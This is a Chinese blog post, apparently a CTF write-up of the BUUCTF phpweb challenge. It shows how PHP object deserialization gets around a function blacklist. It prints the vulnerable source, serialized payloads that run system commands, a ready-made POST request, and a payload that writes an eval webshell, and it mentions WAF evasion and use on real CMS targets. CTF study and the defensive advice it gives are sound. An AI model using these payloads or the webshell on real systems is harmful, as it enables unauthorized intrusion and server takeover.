三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

手把手教你绕过PHP黑名单:BUUCTF网鼎杯phpweb题目的反序列化利用实战

手把手教你绕过PHP黑名单:BUUCTF网鼎杯phpweb题目的反序列化利用实战

PHP黑名单绕过实战:从代码审计到反序列化利用

在CTF竞赛中,PHP安全题目常常设置各种函数黑名单来限制选手的操作空间。面对这种情况,如何找到突破口并成功执行任意命令,是每个参赛者都需要掌握的核心技能。本文将从一个典型的CTF题目出发,详细解析如何通过反序列化漏洞绕过PHP函数黑名单限制。

1. 题目环境分析与初步探测

当我们首次接触这个PHP题目时,发现页面每隔5秒会自动刷新。通过抓包工具观察网络请求,可以注意到每次刷新都会传递两个POST参数:funcp。这种设计暗示着后端可能存在动态函数调用的机制。

初步测试表明,直接尝试执行系统命令的函数如evalsystemassert等都被拦截了。但有趣的是,file_get_contents函数却可以正常工作,这让我们成功读取到了index.php的源代码:

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source", "phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg", "assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>

2. 代码审计与漏洞定位

仔细分析源代码后,我们可以识别出几个关键点:

  1. 黑名单机制$disable_fun数组包含了大量危险的函数名称,任何直接调用这些函数的尝试都会被拦截。

  2. 函数调用流程

    • 用户通过func参数指定要调用的函数
    • 通过p参数传递函数参数
    • 调用gettime()函数处理请求
    • gettime()内部使用call_user_func执行函数调用
  3. Test类:这个类定义了两个属性$p$func,并在__destruct魔术方法中调用了gettime函数。

关键发现:虽然直接调用黑名单函数会被拦截,但如果能控制Test类的属性并通过反序列化触发__destruct方法,就能绕过黑名单检查。

3. 反序列化漏洞利用

3.1 反序列化基本原理

PHP的反序列化过程可以将序列化的字符串重新转换为PHP对象。在这个过程中,如果类定义了魔术方法(如__destruct__wakeup等),这些方法会在适当的时候自动执行。

在我们的题目中,可以利用unserialize函数来触发Test类的__destruct方法,从而绕过直接函数调用的黑名单限制。

3.2 构造恶意序列化字符串

我们需要构造一个Test类的实例,并将其序列化为字符串:

<?php class Test{ var $func = 'system'; var $p = "whoami;pwd;ls -lha ./"; } $res = new Test(); echo serialize($res); ?>

执行上述代码会生成以下序列化字符串:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:21:"whoami;pwd;ls -lha ./";}

3.3 组合利用链

现在我们可以通过以下方式触发漏洞:

  1. func参数设置为unserialize
  2. p参数设置为我们构造的恶意序列化字符串

这样,调用链如下:

unserialize() → Test对象 → __destruct() → gettime() → call_user_func(system, "whoami")

通过这种方式,我们成功绕过了黑名单限制,执行了system函数。

4. 实战操作与Flag获取

在实际操作中,我们可以使用Burp Suite等工具发送精心构造的POST请求:

POST /target.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

如果服务器响应中包含命令执行结果,但未直接显示flag位置,可以进一步探测:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

5. 防御措施与安全建议

虽然这种攻击手法在CTF中很有效,但在实际开发中,我们需要采取以下措施来防范类似漏洞:

  1. 严格限制反序列化操作:尽量避免在代码中使用unserialize函数,特别是处理用户输入时。

  2. 使用白名单替代黑名单:黑名单很容易被绕过,应该使用白名单机制限制可调用的函数。

  3. 魔术方法的安全使用:在__destruct__wakeup等魔术方法中避免执行敏感操作。

  4. 输入验证与过滤:对所有用户输入进行严格验证和过滤。

  5. 使用安全的替代方案:如必须使用反序列化,考虑使用JSON等更安全的格式。

6. 扩展思考与技巧

在实际CTF比赛中,这种反序列化技巧可以与其他漏洞结合使用:

  1. 结合文件操作:当无法直接执行命令时,可以尝试读取或写入文件。

  2. 利用PHP特性:如使用php://filter协议读取文件内容。

  3. 链式利用:结合多个类的魔术方法构造更复杂的利用链。

  4. 绕过WAF:通过编码、混淆等方式绕过Web应用防火墙的检测。

// 一个更隐蔽的Payload示例 class Test { var $func = 'system'; var $p = "echo '<?php eval(\$_POST[1]);?>' > shell.php"; }

7. 工具与资源推荐

为了提高效率,可以准备一些常用工具和脚本:

  1. PHP序列化生成器:快速生成各种Payload。

  2. Burp Suite插件:如PHP Object Injection Scanner。

  3. 自定义脚本:自动化测试和利用过程。

  4. 在线资源

    • PHP官方文档中的安全章节
    • OWASP PHP安全指南
    • 知名CTF平台的writeup集合

在实际渗透测试中,这种技术还可以用于以下场景:

  • 内容管理系统(CMS)的插件漏洞利用
  • 反序列化导致的远程代码执行(RCE)
  • 框架特定组件的安全绕过
← 返回列表